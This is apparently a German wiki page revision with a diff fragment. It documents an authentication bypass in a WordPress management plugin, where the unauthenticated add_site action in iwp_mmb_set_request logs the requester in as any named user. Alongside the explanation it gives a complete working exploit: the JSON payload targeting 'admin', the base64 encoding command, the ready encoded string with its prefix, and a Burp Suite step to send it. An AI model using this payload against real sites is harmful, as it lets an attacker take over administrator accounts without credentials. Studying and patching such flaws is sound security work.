Version vom 4. November 2022, 11:42 Uhr

CVE

Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
(in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.

Payload: {"iwp_action":"add_site","params":{"username":"admin"}}

echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
Append the base64 generated payload with the String mentioned in the exploit URL.

Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=

Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.

@@ Zeile 18: / Zeile 18: @@
 *Create the JSON payload and convert it to base64.
-  Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}
+  Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
-*echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
+*echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
 *Append the base64 generated payload with the String mentioned in the exploit URL.